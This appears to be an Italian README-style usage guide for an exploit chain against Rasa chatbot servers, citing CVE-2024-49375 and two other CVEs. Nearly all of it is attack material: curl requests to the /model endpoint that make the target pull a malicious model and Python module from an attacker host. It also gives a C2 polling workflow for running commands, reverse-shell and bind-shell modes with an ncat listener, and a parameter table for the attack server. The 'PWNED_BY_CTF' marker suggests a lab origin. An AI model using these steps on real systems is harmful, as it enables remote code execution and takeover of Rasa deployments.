
CVE-2024-49375、CVE-2021-42556、CVE-2021-41127
Eseguilo direttamente
python server-1.py

PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage1","wait_time_between_pulls":0}}

Risultato:

Nome del modello predefinito evil_import_model.tar.gz
Modello dannoso demo
version: "3.1"
intents:
- greet
responses:
utter_greet:
- text: "PWNED_BY_CTF"
nlu:
- intent: greet
examples: |
- hello
- hi
rules:
- rule: greet rule
steps:
- intent: greet
- action: utter_greet
Imposta una regola di dialogo dannosa
Inserisci
greete ottieniPWNED_BY_CTF
PUT /model
{"model_server":{"url":"http://192.168.244.128:5000/stage2-probe-model","wait_time_between_pulls":0}

Risultato:

model.py modifica i dati specificati all'interno dell'archivio compresso
Eseguilo direttamente: per impostazione predefinita legge il modello dalla directory /model, lo modifica e lo salva nella directory corrente come evil_import_model.tar.gz

Specifica l'IP per la reverse shell
Nome del modello predefinito evil_import_model.tar.gz
python reverse_server.py --reverse-host 192.168.244.128

Invia i dati in sequenza
Negli scenari reali possono esserci differenze
Attaccante Contenitore Rasa (target)
│ │
├─ avvia server-2.py ────────┤
├─ PUT /model ──→ scarica pwnmod.py in /app/
├─ PUT /model ──→ scarica il modello dannoso → import pwnmod → avvio agent
│ │
│ ← GET /poll?agent=xxx ───┤ polling ogni 3s
├─ /enqueue?cmd=id ─────────┤
│ ← GET /poll ─────────────┤ riceve il comando
│ ← POST /result ──────────┤ invia il risultato
├─ /last?agent=xxx ──→ legge il risultato
# Avvio dal lato attaccante
python server-2.py --mode c2 --c2-base-url http://<IP_attaccante>:8000 --port 8000
# Trigger dell'exploit (due passaggi)
curl -X PUT http://<indirizzo_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaccante>:8000/write-module"}}'
curl -X PUT http://<indirizzo_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaccante>:8000/model"}}'
# Invia un comando
curl "http://<IP_attaccante>:8000/enqueue?cmd=id"
# Attendi 8 secondi e leggi il risultato (polling ogni 3s + tempo di esecuzione)
curl "http://<IP_attaccante>:8000/last?agent=<hostname>"
# Puoi anche non specificare l'agent (usa il wildcard)
curl "http://<IP_attaccante>:8000/enqueue?cmd=whoami"
curl "http://<IP_attaccante>:8000/last"
# 1) Avvia l'ascolto sul lato attaccante
ncat -lvnp 4444
# 2) Avvia server-2.py sul lato attaccante
python server-2.py --mode reverse --reverse-host <IP_attaccante> --reverse-port 4444 --port 8000
# 3) Trigger dell'exploit
curl -X PUT http://<indirizzo_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaccante>:8000/write-module"}}'
curl -X PUT http://<indirizzo_rasa>:5005/model \
-H "Content-Type: application/json" \
-d '{"model_server": {"url": "http://<IP_attaccante>:8000/model"}}'
# 4) nc riceve il prompt $, interazione diretta
python server-2.py --mode bind --bind-port 4444 --port 8000
# L'agent ascolta su 0.0.0.0:4444 nel container target
# ncat <IP_target> 4444 per connettersi
| Parametro |
|---|
| Significato |
|---|
--port 8000 | Porta di ascolto di server-2.py |
--c2-base-url | Base URL completo per il polling dell'agent in modalità C2 (deve essere un indirizzo raggiungibile dal container) |
--reverse-host | IP di destinazione della reverse shell |
--reverse-port | Porta di destinazione della reverse shell |